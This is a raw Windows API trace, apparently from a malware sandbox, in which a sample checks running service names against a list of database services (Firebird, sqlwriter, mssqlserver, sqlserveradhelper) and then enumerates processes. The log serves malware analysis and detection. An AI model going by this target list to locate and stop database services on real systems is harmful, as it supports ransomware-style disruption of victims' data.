	[0041.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0041.630] lstrlenW (lpString="KeyIso") returned 6
	[0041.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0041.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0041.630] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0041.630] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0041.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0041.630] lstrlenW (lpString="LanmanServer") returned 12
	[0041.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0041.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0041.630] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0041.630] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0041.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0041.631] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0041.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0041.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0041.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0041.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0041.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0041.631] lstrlenW (lpString="lfsvc") returned 5
	[0041.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0041.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0041.631] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0041.631] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0041.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0041.631] lstrlenW (lpString="lmhosts") returned 7
	[0041.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0041.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0041.631] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0041.631] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0041.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0041.631] lstrlenW (lpString="LSM") returned 3
	[0041.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0041.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0041.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0041.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0041.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0041.631] lstrlenW (lpString="MpsSvc") returned 6
	[0041.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0041.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0041.631] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0041.631] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0041.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0041.631] lstrlenW (lpString="NcbService") returned 10
	[0041.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0041.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0041.632] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0041.632] lstrlenW (lpString="netprofm") returned 8
	[0041.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0041.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0041.632] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0041.632] lstrlenW (lpString="NlaSvc") returned 6
	[0041.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0041.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0041.632] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0041.632] lstrlenW (lpString="nsi") returned 3
	[0041.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0041.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0041.632] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0041.632] lstrlenW (lpString="PcaSvc") returned 6
	[0041.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0041.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0041.632] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0041.632] lstrlenW (lpString="PlugPlay") returned 8
	[0041.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0041.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0041.632] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0041.632] lstrlenW (lpString="Power") returned 5
	[0041.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0041.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0041.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0041.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0041.633] lstrlenW (lpString="ProfSvc") returned 7
	[0041.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0041.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0041.633] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0041.633] lstrlenW (lpString="RpcEptMapper") returned 12
	[0041.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0041.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0041.633] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0041.633] lstrlenW (lpString="RpcSs") returned 5
	[0041.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0041.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0041.633] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0041.633] lstrlenW (lpString="SamSs") returned 5
	[0041.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0041.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0041.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0041.633] lstrlenW (lpString="Schedule") returned 8
	[0041.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0041.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0041.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0041.633] lstrlenW (lpString="SecurityHealthService") returned 21
	[0041.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0041.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0041.633] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0041.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0041.634] lstrlenW (lpString="SENS") returned 4
	[0041.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0041.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0041.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0041.634] lstrlenW (lpString="ShellHWDetection") returned 16
	[0041.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0041.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0041.634] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0041.634] lstrlenW (lpString="Spooler") returned 7
	[0041.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0041.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0041.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0041.634] lstrlenW (lpString="SSDPSRV") returned 7
	[0041.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0041.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0041.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0041.634] lstrlenW (lpString="StateRepository") returned 15
	[0041.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0041.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0041.634] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0041.634] lstrlenW (lpString="SysMain") returned 7
	[0041.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0041.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0041.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0041.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0041.635] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0041.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0041.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0041.635] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0041.635] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0041.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0041.635] lstrlenW (lpString="Themes") returned 6
	[0041.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0041.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0041.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0041.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0041.635] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6ae150 | out: hHeap=0x650000) returned 1
	[0041.635] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344
	[0042.160] Process32FirstW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0042.182] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0042.182] lstrlenW (lpString="System") returned 6
	[0042.182] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0042.183] lstrlenW (lpString="smss.exe") returned 8
	[0042.183] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0042.184] lstrlenW (lpString="csrss.exe") returned 9
	[0042.184] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0042.185] lstrlenW (lpString="wininit.exe") returned 11
	[0042.185] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0042.185] lstrlenW (lpString="csrss.exe") returned 9
	[0042.185] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0042.186] lstrlenW (lpString="winlogon.exe") returned 12
	[0042.186] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0042.187] lstrlenW (lpString="services.exe") returned 12
	[0042.187] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0042.188] lstrlenW (lpString="lsass.exe") returned 9
	[0042.188] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.188] lstrlenW (lpString="svchost.exe") returned 11
	[0042.189] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0042.189] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0042.189] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0042.190] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0042.190] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.191] lstrlenW (lpString="svchost.exe") returned 11
	[0042.191] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0042.191] lstrlenW (lpString="dwm.exe") returned 7
	[0042.191] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.192] lstrlenW (lpString="svchost.exe") returned 11
	[0042.192] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.193] lstrlenW (lpString="svchost.exe") returned 11
	[0042.193] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.194] lstrlenW (lpString="svchost.exe") returned 11
	[0042.194] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.194] lstrlenW (lpString="svchost.exe") returned 11
	[0042.194] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.195] lstrlenW (lpString="svchost.exe") returned 11
	[0042.195] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.196] lstrlenW (lpString="svchost.exe") returned 11
	[0042.196] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.196] lstrlenW (lpString="svchost.exe") returned 11
	[0042.196] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.197] lstrlenW (lpString="svchost.exe") returned 11
	[0042.197] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.198] lstrlenW (lpString="svchost.exe") returned 11
	[0042.198] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0042.199] lstrlenW (lpString="spoolsv.exe") returned 11
	[0042.199] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.200] lstrlenW (lpString="svchost.exe") returned 11
	[0042.200] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.201] lstrlenW (lpString="svchost.exe") returned 11
	[0042.201] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0042.202] lstrlenW (lpString="audiodg.exe") returned 11
	[0042.202] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0042.202] lstrlenW (lpString="sihost.exe") returned 10
	[0042.202] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.203] lstrlenW (lpString="svchost.exe") returned 11
	[0042.203] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0042.204] lstrlenW (lpString="taskhostw.exe") returned 13
	[0042.204] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0042.205] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0042.205] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0042.205] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0042.205] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0042.206] lstrlenW (lpString="explorer.exe") returned 12
	[0042.206] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0042.207] lstrlenW (lpString="Memory Compression") returned 18
